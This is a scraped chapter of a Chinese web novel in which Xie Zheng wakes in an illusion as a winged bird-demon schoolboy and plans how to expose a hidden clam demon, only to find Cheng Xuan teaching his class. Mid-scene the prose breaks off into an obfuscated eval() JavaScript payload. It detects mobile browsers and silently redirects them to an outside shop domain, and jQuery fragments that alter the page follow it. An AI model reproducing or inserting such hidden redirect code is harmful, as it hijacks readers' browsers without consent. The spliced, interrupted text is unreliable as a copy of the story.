凌晨五点半, 闹钟准时响起。
起身关掉闹钟,谢征睁开眼眸,神色无比清醒, 没有半分刚从睡梦中回神的迷茫。
他环顾一圈现代化的房间门,带有一丝预料之中的了然。
究由记忆与经历编织的幻境,于他而言, 最有可能出现的地方是哪里
自然是他生活了十八年的21世纪。
接下来, 只要仔细观察谁在这种环境中手忙脚乱、不知所措,就能捉住那个蚌妖了。
谢征利索地拿过床头柜上叠好的校服, 正要穿上身,忽然觉得一阵不对劲。
脊背上, 有什么轻轻骚动, 传来异样的麻痒。
他回头望了一眼,一对翅膀跃入眼帘, 随呼吸缓慢地翕动着。
等等,翅膀
唇角抽搐,下意识浑身一震,那对翅膀抖索舒展开雪白的羽毛,微妙的感觉, 令谢征很快认清它确实长在自己背上。
思维空白了几秒钟。
谢征出奇的冷静, 短暂愣神过后, 迅速抖开手中蓝白相间门的校服, 翻过面来,在背部发现了两道开口。
浑然天成的裁剪,甚至还包了边,就像特意为什么能伸出来的物什准备的。
沉默片刻,谢征放下校服, 下床来到穿衣镜前。
镜子中,清晰地映出一个高挑清瘦的影子。短发,刘海细碎而长,白皙稍带青涩的面容,右边眼皮一点小痣,是高中时期他的脸。
不同寻常的是,原本该长着耳朵的位置,延展出雪白的翎羽,一直翘到鬓角,瞧上去不伦不类。
伸出手,指甲尖长,厚实且锋利。
垂落背后的羽翼收拢左右,意念一动,俶尔展开,约莫有手臂展开那般长,击拂有力,令人毫不怀疑能够借助它翱翔天际。
真是疯了。
谢征按住太阳穴,闭了闭眼,亲眼看到自己这副近乎妖怪的面貌,不可谓冲击不大,他试图缓一缓。
这是怎么一回事
幻境的确编织出了他所熟悉的现代,却将他变成了一只鸟妖
鸟妖
谢征蹙起眉,原著中,蔚凤的幻境正是他封印在记忆中的凤巢,被数不清的鸟妖簇拥着,呼唤着殿下。
但不应当,他替蔚凤入了迷雾,为何还会出现鸟妖难道是他印象里的剧情作祟
亦或谢征目光一沉,进这幻境的,并非他一人
算了,兵来将挡,水来土掩,他从没指望过能一帆风顺。
回去套好校服,去卫生间门洗漱完,谢征推开房门,走进客厅。
空无一人,高中生起得早,这个点,家里人都还在睡,向来是他热热昨晚秦颂梨备好的早餐,吃完就直接去学校。
幻境重现的是入雾之人的记忆,蚌妖一般也不会伪装成幻境主人熟悉的存在,容易被拆穿。
它习惯混入人群,随波逐流当个路人,在蔚凤的幻境里,就装成了鸟妖臣子中的一员,蹲在边角划水。
所以谢征盯着对面的那间门房,里面是他妈妈和妹妹的幻影。
他犹豫了番,还是没能忍住,上前敲响了房门。
过了一会儿,披着外套的秦颂梨睡眼惺忪地打开门“小征怎么了”
清秀温婉的面容,柔和的嗓音,在记忆中本已有些陌生了,令谢征一时间门恍如隔世。
她背后与他如出一辙的雪白翅膀,又明晃晃地昭示着,这些都不是真的。
“没什么,妈妈。”他摇摇头,“我能进去看看小运吗”
秦颂梨略带疑惑地让开身,跟着谢征一路走到床边,看他蹲下来,怕惊扰了什么似的,轻轻拨开谢运脸上睡乱的发丝。
他默不作声地看着,直到谢运模模糊糊地感到注视醒来,眯起眼,望见他的脸,揉着眼睛问“哥哥你怎么没去凤巢上学呀”
凤巢,上学,两个完全不搭调的词语。
谢征心里有了计较,面上则放柔神色“一会儿就去。想小运了,来看看你。”
谢运一下子笑了,谢征便摸了摸她的头发,说道“你继续睡,哥哥走了。”
“嗯好,哥哥再见。”
小姑娘朦朦胧胧地又睡过去,大抵以为是在做梦。谢征站起身,回头对上秦颂梨担忧的目光,清楚自己的举动很奇怪。
奇怪就奇怪吧,反正也是幻境。
这么想着,谢征按捺下不稳的心绪,过去轻轻抱了秦颂梨一下。
“我也很想妈妈。”类似的话,放到现实里,他是绝说不出口的,但在这个亦真亦假的世界,谢征决定放纵一点。
但也仅仅是一点,蜻蜓点水般,他松开手,对秦颂梨一笑,“我去上学了。”
忽视她欲言又止的样子,关上门,长舒一口气。不多时,谢征的神情便重归平静,双眸冷醒。
他
拿上书包,大步走出家门。
沿途只有一条路,钢筋高楼,车水马龙,汇集为虚影在身边沉浮。
路上来来往往的行人没有脸,衣服款式细看也十分粗糙,仿佛糊成一团的色块,颇有些惊悚。
幻境终究是幻境,编织得再真实,也依托于他的记忆。谢征又不是超忆症,虽说记忆力不错,但也不可能连路人的细节都记得清。
不完整的形象,蚌妖也无法藏身。因此,真正的舞台多半在
他抬头望向飘浮在空中的大型建筑,叹了口气。
一天要呆十一个小时,整个年级近一十个班,抬头不见低头见,有无数眼熟却不认识之人的。
高中校园。
不熟练地扇动翅膀,谢征终于赶在早读开始之前,抵达了他念书时在的高一班。
前一天的黑板还没擦,密密麻麻写满了数学大题的解题思路,角落里划出一个框,里头是各科布置下来的作业。
困倦又沉闷的清晨,值日生在扫地,有的人在和同桌聊天,有的人往桌上一趴补觉,更多人支着本书边读边背。
统一的蓝白校服,大部分的五官十分清晰生动,唯一不寻常的,是同学的耳翎,和背后五花八门五颜六色的鸟雀翅膀。
谢征的到来没在班里引起丁点波澜,前后左右的人抬头瞥来一眼,又迅速低头。
早习惯如此,他坐到位置上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423781|141377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,视线逐个扫过每一张脸,思忖其中会不会藏着那只蚌妖。
大概率不会,若是让他来,自然躲得越远越好。
即便只算他在的高年级,也有上千人,其中拥有面容可供化身的还不知道有多少,该用什么方法引它暴露呢
问道里,蔚凤识破幻境,是用了一手反其道而行之。
他封印了过去为妖时的记忆,其实在幻境中非常吃亏,即便蚌妖变成他非常熟悉的妖,他也认不出来。
更何况一直在仙山长大,耳濡目染,斩妖卫道的念头根深蒂固,结果一睁眼,成千上万只鸟妖围着自己热泪盈眶地喊“殿下”,蔚凤差点没被吓晕。
好在他及时认出了这里是片幻境,没有贸然出手,半推半就地当起了凤王,默默观察周遭。
凤巢悬浮于荒原上空,是群鸟聚集之处。
据下属们所言,他乃凤巢最后一只凤凰,是仅剩的血脉,肩负着兴旺妖族的大业。
鸟妖们视他比命还重,敬慕、宠爱、尊崇绝不容忍他受到半分怠慢,态度极其过激。
这样的沉重感情让蔚凤有些喘不过气,却莫名不希望辜负它们的期望,因此束手束脚。
他被迫处理了许多凤巢的事务,发现原来不仅仅是恶妖伤人,道人为图谋天材地宝、滥杀无辜妖族的例子也屡见不鲜,这令蔚凤心神大震,封印有了一丝松动,想起些许乱七八糟的回忆。
也由此,对他的真实来历升腾起怀疑。
这份记忆让蔚凤对自己在凤巢中的地位有了更深的认识,于是,他想出了一个招数,大办宴席。
宴席中,弦乐和鸣,佳肴丰盛,君臣共乐。就在此时,忽然杀出一帮道人,直扑座上蔚凤。
一团混乱,鸟妖们凄厉尖嚎,不顾安危,涌上前想要用身体替蔚凤抵御刺杀。
所有妖中,唯有一只斑鸠不为所动,蔚凤轻而易举地捉到了它。
道人乃他信任的下属所扮,自导自演一场闹剧,就为找出不会因他紧张的蚌妖。
与蔚凤不同,谢征的优势,在于对方并不了解现代社会。
他司空见惯的东西,在古人看来,荒谬得简直与鬼怪无异。
劣势则在于,他没有蔚凤那样忠心耿耿的下属可以驱使,偌大的校园,只能凭借一个人的力量去找,无疑是项艰巨的工程。
拿笔在纸上写写画画,思索来去,谢征逐渐有了计划。
上课铃清脆响起,班级安静下来,皮鞋踩踏在地面的声音遥遥可闻。
一个收拢起灰色羽翼,俊朗稳重的青年夹着课本步入教室,走上讲台,清了清嗓子“好了同学们,你们物理老师有点事,调一下课,第一节上生物,把课本拿出来。”
一片矮下头扒拉书本的人中,唯独谢征没有动,他匪夷所思地望着那名身着西装的青年,不免混乱。
那是哪怕只是一面之缘,也无法遗忘的容貌。
无论笑容有多亲切爽朗,气质有多温和可靠,在他眼中都写满了“道貌岸然”四个大字,惹人厌烦。
成玄
为什么成玄会出现在这儿,还成了他的生物老师 ,